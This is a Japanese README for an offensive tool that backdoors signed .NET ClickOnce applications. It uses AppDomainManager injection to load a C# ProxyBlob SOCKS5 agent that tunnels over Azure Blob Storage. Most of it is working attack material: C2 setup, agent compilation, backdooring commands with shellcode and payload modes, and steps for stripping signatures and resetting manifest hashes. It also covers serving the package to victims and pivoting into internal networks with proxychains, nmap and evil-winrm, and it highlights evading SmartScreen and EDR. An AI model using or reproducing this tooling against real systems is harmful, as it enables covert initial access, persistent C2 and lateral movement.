
署名済みの.NET ClickOnceアプリケーションを武器化し、AppDomainManagerインジェクションを介して依存DLLを乗っ取り、ProxyBlob AgentのC#ポートを読み込むことで初期アクセスを獲得します。

署名済みの .NET ClickOnce アプリケーションを武器化し、依存 DLL のハイジャック(AppDomainManager インジェクション)を介して初期アクセスを獲得します。C# に移植された ProxyBlob(すべてのトラフィックを Azure Blob Storage 経由でトンネリングする SOCKS5 プロキシ)をエージェントとして同梱。*.blob.core.windows.net が許可された環境に溶け込みます。
ClickOnce は .NET アプリケーション向けの Microsoft のワンクリックデプロイ技術です。ユーザーが .application URL をクリックすると、Windows は管理者権限を必要とせずにアプリケーションをダウンロードして実行します。攻撃の流れ:
.exe.config を注入するホスト .exe は変更されず、有効な署名のままです。SmartScreen は既知のバイナリと認識します。EDR は信頼できるプロセスがモジュールをロードしていると見なします。エージェントは HTTPS 経由でのみ Azure Blob Storage と通信します。
├── clickonce_backdoor.py # ProxyBlob Agent DLL を ClickOnce アプリにバックドアするメインスクリプト
├── examples/
│ ├── ProxyBlobAgent.cs # ProxyBlob Agent ClickOnce DLL ペイロード (AppDomainManager)
│ ├── ProxyBlobStandalone.cs # スタンドアロン Proxyblob コンソールエージェント (テスト用)
│ ├── ShellcodeLoader.cs # 代替: シェルコードローダーペイロード
│ └── MessageBoxPoC.cs # PoC: メッセージボックス (インジェクションが機能することを確認)
└── README.md
攻撃側 (Linux/macOS):
ビルドマシン (Windows):
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe に標準搭載 (自動検出)nuget.exe をスクリプトの隣に配置するか PATH に追加 ( --proxyblob モードでのみ必要)スクリプトは csc.exe と nuget.exe を自動検出します。--proxyblob では、BouncyCastle と ILMerge が初回実行時に NuGet 経由で自動インストールされ、スクリプトの隣の packages/ ディレクトリに配置されます(実行間で永続化)。
エージェントコードはアーキテクチャに依存しません(P/Invoke なし、シェルコードなし)。--platform フラグ(csc.exe /platform: に渡される)により、CLR がそれをどのようにロードするかを制御します:
--platform | x86 Windows で動作 | x64 Windows で動作 | 使用する状況 |
|---|---|---|---|
x86 (デフォルト) | 32-bit | 32-bit (WoW64) | ターゲットアプリが x86 の場合 |
x64 | ✗ | 64-bit | ターゲットアプリが x64 の場合 |
anycpu | 32-bit | 64-bit | スタンドアロンテスト、またはターゲットが AnyCPU の場合 |
corflags.exe TargetApp.exe でターゲットアプリのプラットフォームを確認してください。
# ストレージアカウントを作成
az storage account create \
--name yourblobaccount \
--resource-group yourgroup \
--sku Premium_LRS \
--kind BlockBlobStorage
# キーを取得
az storage account keys list --account-name yourblobaccount --output table
または、ローカルで Azurite を使用:
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make
cat > config.json << 'EOF'
{
"storage_account_name": "yourblobaccount",
"storage_account_key": "YOUR_KEY_HERE"
}
EOF
./proxy -c config.json
プロキシシェル内:
proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

その接続文字列を保存してください — エージェントに組み込みます。
ClickOnce 統合の前に、エージェントが単独で動作することを必ず確認してください。
Windows ビルドマシンで:
# コンパイル
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
examples\ProxyBlobStandalone.cs ^
/r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/r:System.Net.Http.dll /r:netstandard.dll
# ILMerge で単一の exe にマージ (BouncyCastle を埋め込むため)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
/out:Agent.exe ^
ProxyBlobStandalone.exe ^
packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/targetplatform:v4
# 実行
Agent.exe <connection-string>
プロキシ側に戻って:
proxyblob » list
d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080
テスト:
proxychains curl http://ipconfig.io
これが機能すれば、ClickOnce 統合に進みます。
偵察中にターゲットの ClickOnce アプリを見つけてください(.application URL を検索)。必要なもの:
ClickOnce デプロイ全体をダウンロード:
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

スクリプトは C# ソースの自動コンパイル、NuGet 依存関係の処理(--proxyblob の場合)、BouncyCastle の DLL への ILMerge、全マニフェストのパッチを一度に行います:

# ProxyBlob モード — 自動コンパイル、NuGet パッケージ自動インストール、自動マージ
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--output ./output
# PoC モード — インジェクションが機能することを簡単に確認
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--poc --output ./output
# Shellcode モード
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--shellcode beacon.bin --output ./output
# x64 ターゲットアプリ
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER/ \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--platform x64 --output ./output

スクリプトが処理すること: 設定を組み込んだ C# ソースの生成、csc.exe でのコンパイル、BouncyCastle の ILMerge(--proxyblob の場合)、DLL の置換、AppDomainManager インジェクション用の .exe.config の作成、両ファイルのマニフェストへの追加、全 SHA256 ハッシュとファイルサイズの再計算、コード署名の除去、ベンダーの publicKeyToken のゼロ化、デプロイプロバイダー URL の更新。
手動オーバーライド: あらかじめコンパイルされた DLL を --payload で指定することも可能(コンパイルをスキップ):
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--payload payload.dll \
--output ./output
⚠️ ILMerge アセンブリ名の落とし穴: ILMerge は内部アセンブリ名を出力ファイル名から設定し、入力ファイル名からは設定しません。
Foo_merged.dllにマージしてからファイル名をFoo.dllにリネームしても、内部名はFoo_mergedのままです — CLR はファイル名ではなくメタデータを読み取ります。.exe.configが一致せず、AppDomainManager インジェクションはエラーもなく静かに失敗します。スクリプトは最終的な名前に直接 ILMerge することでこれを正しく処理します。
# 正しい MIME タイプとキャッシュヘッダーを持つ組み込みサーバー
python3 clickonce_backdoor.py serve --port 8000 --dir ./output

または、任意の Web サーバーを使用し、以下の MIME タイプを設定:
.application → application/x-ms-application
.manifest → application/x-ms-manifest
.deploy → application/octet-stream
被害者に送信: http://YOUR-SERVER/APPLICATION.application
被害者が「インストール」をクリック → アプリが実行される → SOCKS5 トンネルが開く。

# プロキシマシンで
proxyblob » list
proxyblob » select <container-id>
proxyblob » start
# SOCKS5 on 127.0.0.1:1080
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains evil-winrm -i 10.0.0.50 -u admin -p password
proxychains curl http://internal-app.corp.local